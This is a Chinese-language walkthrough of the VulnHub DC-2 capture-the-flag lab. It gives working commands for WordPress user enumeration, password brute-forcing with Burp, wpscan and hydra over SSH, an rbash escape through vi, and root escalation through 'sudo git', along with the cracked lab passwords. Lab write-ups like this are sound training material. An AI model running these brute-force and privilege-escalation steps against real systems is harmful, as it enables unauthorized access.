渗透实战-vulnhub-DC-2


信息收集

1、目标IP:192.168.48.141

┌──(root㉿kali)-[~/桌面]
└─# nmap -sP 192.168.48.1/24
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-03 23:41 CST
Nmap scan report for 192.168.48.1
Host is up (0.00042s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.48.2
Host is up (0.000087s latency).
MAC Address: 00:50:56:E1:FD:22 (VMware)
Nmap scan report for dc-2 (192.168.48.141)
Host is up (0.00019s latency).
MAC Address: 00:0C:29:77:50:5D (VMware)
Nmap scan report for 192.168.48.254
Host is up (0.00026s latency).
MAC Address: 00:50:56:EA:0C:C5 (VMware)
Nmap scan report for 192.168.48.128
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.97 seconds

发现主机的第二种方法:arp-scan -l

2、端口扫描:开放端口80(http)和7744(ssh),还有有重定向的问题。
在这里插入图片描述
3、目录扫描:

在这里插入图片描述

Flag1

这里卡了一下,一直访问不了目标主机192.168.48.141,查了一下是被重定向到了http://dc-2/,解决方法就是在host文件里面改一下。

借鉴文章:https://blog.csdn.net/a310034188/article/details/121624538

kali的host文件路径:/etc/hosts

然后成功进入目标网站

在这里插入图片描述

找到第一个flag1,提醒我们下一个flag需要用到cewl(不会(理直气壮),学tm)

cewl学习连接:https://www.freebuf.com/articles/network/190128.html
在这里插入图片描述

Flag2

根据前面信息收集时扫描的目录发现登录网页

在这里插入图片描述扔到burp里面扫了一下,除了一个密码明文的漏洞就没有了,淦!

绕过登录应该是没戏了,只能返回上一个flag提醒的cewl试试。

使用cewl生成字典

cewl http://dc-2/ -w /root/桌面/dc-2pw.txt

探测http://dc-2/这个网址根据内容生成字典保存在 /root/桌面/dc-2pw.txt 这个路径中

OK现在有密码了,问题又来了用户名我不到啊。。。

借鉴回来了,OK,我们再来试试新工具wpscan

来,上链接,学习自:https://www.freebuf.com/sectool/174663.html

wpscan --url http://dc-2/ -e u

枚举用户名

得到三个用户名并保存为dc-2user.txt

admin,jerry,tom

在这里插入图片描述

后面就是一个一个用户名爆破了。

有两个方法爆破

第一个方法burp爆破

抓取数据包后发到intruder模块,首先点击Clear,清除所有变量,然后选中要爆破的logpwd参数,点击Add添加变量,Attack type选择Cluster bomb。

在这里插入图片描述

然后分别设置两个变量的字典

在这里插入图片描述
在这里插入图片描述

爆破出了tom and jerry 的密码

log=tom&pwd=parturient

log=jerry&pwd=adipiscing

在这里插入图片描述
yeah!!!!!登录登录

得到flag2

**Flag 2:**

If you can't exploit WordPress and take a shortcut, there is another way.

Hope you found another entry point.

下一个flag的提示:寻找另一个切入点。

诶,这个网站一共就开放了两个端口,另一个切入点就是开放的ssh咯!咱试试去。

image-20230403212738946

第二个方法还是使用WPscan

wpscan --ignore-main-redirect --url http://dc-2/ -U /root/桌面/DC-2/dc-2user.txt -P /root/桌面/DC-2/dc-2pw.txt -t 30

结果:
在这里插入图片描述

Flag3

ssh登录目标主机

先试试jerry
ssh jerry@192.168.48.141 -p 7744

由于不是默认的22端口所以要指定端口

但是用之前的密码登录结果一直登不上。

再试试tom
ssh tom@192.168.48.141 -p 7744

使用之前爆破出来的密码登录成功了。

这里可以介绍一个ssh登录密码爆破的工具hydra,如果之前爆破出来的密码不都能用的话,用下面的方法。

学习链接:https://blog.csdn.net/huweiliyi/article/details/105523823

hydra -t 32 -l admin -P passwd.txt -s 7744 192.168.78.128 ssh
hydra -t 32 -l tom -P passwd.txt -s 7744 192.168.78.128 ssh
hydra -t 32 -l jerry -P passwd.txt -s 7744 192.168.78.128 ssh

最后可以爆破出密码。

Fine,我们已经连接上目标主机了
在这里插入图片描述

找到了flag3,cat打开

在这里插入图片描述

试试vi打开,OK解决,得到flag3

Poor old Tom is always running after Jerry.Perhaps he should su for all the stress he causes.

Flag4

绕过rbash

根据flag3,应该是让我们su切换用户到jerry

tom@DC-2:~$ su jerry
-rbash: su: command not found

没有这个命令,淦,没有cat,还没有su到底咋回事,会不会是运行在rbash导致shell受限。

嗨嗨嗨,我来了,啥是rbash捏

受限shell是LinuxShell限制一些bash shell中的功能,并且是从名字上很清楚。 该限制很好地实现了命令以及脚本在受限shell中运行。 它为Linux中的bash shell提供了一个额外的安全层。

怎么验证嘞?我们打开passwd文件

vi /etc/passwd

可以看到

root:x:0:0:root:/root:/bin/bash
tom:x:1001:1001:Tom Cat,,,:/home/tom:/bin/rbash
jerry:x:1002:1002:Jerry Mouse,,,:/home/jerry:/bin/bash

如何绕过嘞???

我也不知道,嘿,但是咱有度娘配置环境变量。

学习链接:https://cloud.tencent.com/developer/article/1680551

这里我们采用编辑器绕过rbash

tom@DC-2:~$ vi

tom@DC-2:~$ su jerry
bash: su: command not found

世界毁灭,一拳打爆地球,哈哈哈哈,人哪有不疯的,强撑着罢了。

找了找问题,发现绕过shell后还要配置环境变量

tom@DC-2:~$ vi
:set shell=/bin/bash
:shell
tom@DC-2:~$ export PATH=/usr/sbin:/usr/bin:/sbin:/bin
tom@DC-2:~$ whoami
tom
tom@DC-2:~$ su jerry
Password: 

密码就试试之前爆破出来的adipiscing,这下能直接进去了。

进去之后

jerry@DC-2:/home/tom$ ls
ls: cannot open directory .: Permission denied
# 因为还在tom的用户目录里面,这可不行啊,咱现在是jerry

jerry@DC-2:/home/tom$ pwd
/home/tom
jerry@DC-2:/home/tom$ cd /
jerry@DC-2:/$ ls
bin   dev  home        lib         media  opt   root  sbin  sys  usr  vmlinuz
boot  etc  initrd.img  lost+found  mnt    proc  run   srv   tmp  var
jerry@DC-2:/$ cd home
jerry@DC-2:/home$ ls
jerry  tom
jerry@DC-2:/home$ cd jerry/
jerry@DC-2:~$ ls
flag4.txt

ok,兄弟们,终于找到flag4了

jerry@DC-2:~$ cat flag4.txt 
Good to see that you've made it this far - but you're not home yet. 

You still need to get the final flag (the only flag that really counts!!!).  

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!

the final flag

最后一个flag从提示看来和Git有关,这个是一点都不知道,emmmm去去就来

OK,Git提权是吧

jerry@DC-2:~$ sudo git help config
#在末行命令模式输入!/bin/bash 或 !‘sh’ #完成提权
:!/bin/bash

提权成功,试试在root目录里面找最后一个flag

jerry@DC-2:~$ sudo git help config
root@DC-2:/home/jerry# cd /root
root@DC-2:~# ls
final-flag.txt
root@DC-2:~# cat final-flag.txt 
 __    __     _ _       _                    _ 
/ / /\ \ \___| | |   __| | ___  _ __   ___  / \
\ \/  \/ / _ \ | |  / _` |/ _ \| '_ \ / _ \/  /
 \  /\  /  __/ | | | (_| | (_) | | | |  __/\_/ 
  \/  \/ \___|_|_|  \__,_|\___/|_| |_|\___\/   


Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.

If you enjoyed this CTF, send me a tweet via @DCAU7.

总结

cewl根据网站内容生成字典
burp的字典爆破方法
WPscan的使用和使用场景
rbash的绕过
git提权
ssh登录密码爆破的工具hydra

后记

不太想写了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值